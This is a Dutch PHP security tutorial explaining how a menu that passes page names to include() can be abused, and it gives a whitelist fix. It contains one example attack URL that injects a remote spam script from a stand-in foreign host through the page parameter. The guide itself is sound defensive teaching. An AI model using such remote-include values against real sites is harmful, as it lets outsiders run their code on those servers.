PHP-beveiliging deel 2: Include gebruiken voor je menu
Php is een krachtige scripttaal om internetsites mee te bouwen. Zoals ik in het vorige artikel al gemeld heb, komen we vaak dezelfde beveiligingsrisico's tegen.
In dit artikel wil ik extra aandacht besteden aan de include()-functie (zie ook http://nl.php.net/include). Er zwerven een aantal scripts op internet die uitleggen hoe handig het is om een menu te maken dat de naam van de pagina doorgeeft als parameter, waarna het script met deze parameter een nieuwe pagina opbouwt door een ander bestand in te voegen: include(). Maar zo'n script kan dan misbruikt worden door bijvoorbeeld een andere pagina aan te roepen die ongewenste acties uitvoert, bijvoorbeeld:
mijnscript.php?pagina=http://www.verweggistan.ru/mail/spamrun83778.php.
Wat ik wil doen is een kleine aanpassing laten zien om een menu dat een aanroep doet met een url die eruit ziet als mijnscript.php?pagina=contact veiliger te maken.
Allereerst moeten we de variabele ophalen (zie het vorige artikel) met de naam van de pagina. Vertrouw nooit een waarde afkomstig uit $_POST, $_GET of $COOKIE. Om er zeker van te zijn dat we geen risico lopen op een url-injectie, testen we op alle waardes die toegestaan zijn. Als er een geldige waarde is, dan willen we een lokale pagina insluiten met include(). Hieronder een voorbeeld:
<?php
$paginanaam = isset($_GET['pagina']) ? $_GET['pagina'] : false;
$mogelijkePaginas = array('home', 'contact', 'adres', 'diensten');
if ($paginanaam && in_array($paginanaam, $mogelijkePaginas)) {
include ($_SERVER["DOCUMENT_ROOT"] . "/$paginanaam.html" );
} else {
include ($_SERVER["DOCUMENT_ROOT"] . "/homepage.html" );
}
?>
* Klik hier voor meer uitleg over hoe je deze code op je website kunt plaatsen.
De moraal van dit verhaal: wees voorzichtig met externe variabelen en met include(), include_once(), require() en require_once().
Succes met je PHP-script!


